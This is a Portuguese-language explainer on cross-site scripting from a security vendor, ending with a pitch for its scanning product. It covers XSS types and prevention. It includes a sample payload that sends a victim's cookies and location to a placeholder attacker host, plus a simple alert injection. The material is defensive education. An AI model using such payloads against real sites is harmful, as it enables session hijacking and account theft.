O que é XSS?
O Cross-site scripting (XSS) é uma forma de ataque cibernético em que um agente malicioso injecta scripts executáveis nocivos no código de um sítio Web ou aplicação fiável. Normalmente, os atacantes induzem os utilizadores a clicar numa ligação maliciosa, explorando vulnerabilidades na plataforma visada. Se o sítio Web ou a aplicação não dispuser de uma higienização adequada dos dados, a ligação injectada pode executar o código escolhido pelo atacante no sistema do utilizador, permitindo-lhe roubar o cookie de sessão ativo do utilizador.
Então, como é que o cross-site scripting funciona realmente? Considere este exemplo:
htmlCopy code<script> i=new/**/Image();isrc=http://badwebsite.com/log.php?'+document.cookie+' '+document.location</script>
Embora o payload seja normalmente JavaScript, os ataques XSS podem ocorrer com qualquer linguagem do lado do cliente.
Para levar a cabo um ataque de scripting entre sítios, o atacante injecta um script malicioso na entrada fornecida pelo utilizador ou manipula um pedido. Se a aplicação Web for vulnerável, a entrada fornecida pelo utilizador é executada como código. Por exemplo, no seguinte pedido, um script apresenta uma caixa de mensagem com o texto "xss":
phpCopy code<http://www.website.com/page.php?var=><script>alert('xss');</script>
Os ataques XSS podem ser desencadeados de várias formas, por exemplo, automaticamente quando uma página é carregada ou quando um utilizador passa o rato sobre elementos específicos, como hiperligações.
As potenciais consequências dos ataques XSS são graves, desde a captura das teclas premidas pelo utilizador até ao seu redireccionamento para sítios Web maliciosos, passando pela execução de exploits baseados no browser e pelo comprometimento das contas dos utilizadores através da obtenção dos seus cookies de sessão.
Diferentes abordagens aos ataques XSS
- XSS armazenado: A carga maliciosa é armazenada numa base de dados e é apresentada a outros utilizadores quando solicitada se não houver codificação ou sanitização da saída.
- XSS refletido: A aplicação web envia cadeias de caracteres fornecidas pelo atacante para o browser da vítima, que executa parte da cadeia de caracteres como código. O payload ecoa de volta sem a codificação de saída do lado do servidor.
- XSS baseado em DOM: Um atacante injeta um script numa resposta, permitindo-lhe ler e manipular os dados do Modelo de Objeto de Documento (DOM) para criar um URL malicioso. Todo o ataque tem lugar no browser do cliente sem envolver o servidor.
Como evitar vulnerabilidades XSS
Para evitar vulnerabilidades XSS, implemente medidas de segurança no início do ciclo de vida do desenvolvimento, efectue testes de segurança e siga as melhores práticas:
- Nunca confiar na entrada do utilizador: Validar e higienizar a entrada de fontes não confiáveis.
- Implementar a codificação de saída: Escape a entrada do utilizador para evitar que os navegadores a interpretem como código.
- Siga o princípio da defesa em profundidade: Utilize vários controlos de segurança para uma proteção abrangente.
- Alinhe-se com a folha de dicas de prevenção de XSS da OWASP: Utilize técnicas experimentadas e testadas, personalizadas para a sua aplicação.
- Efetuar testes de penetração: Confirmar a correção bem sucedida através da simulação de cenários de ataque reais.
- Mantenha-se atualizado: Siga as diretrizes de desenvolvimento seguro, incorpore a segurança em todas as fases e assegure-se de que os programadores estão a par das melhores práticas de prevenção de XSS. Utilize bibliotecas de codificação de saída relevantes para as suas linguagens de programação e estruturas.
Ao adotar estas estratégias, pode fortalecer a sua organização contra os riscos colocados pelos ataques de scripting entre sítios.
Com o Aikido Security, pode evitar CVE's como o abuso de XSS no seu código. Monitorizaremos o código da sua aplicação Web e notificá-lo-emos sempre que surgirem riscos. Inicie um teste para verificar se existem vulnerabilidades no seu código!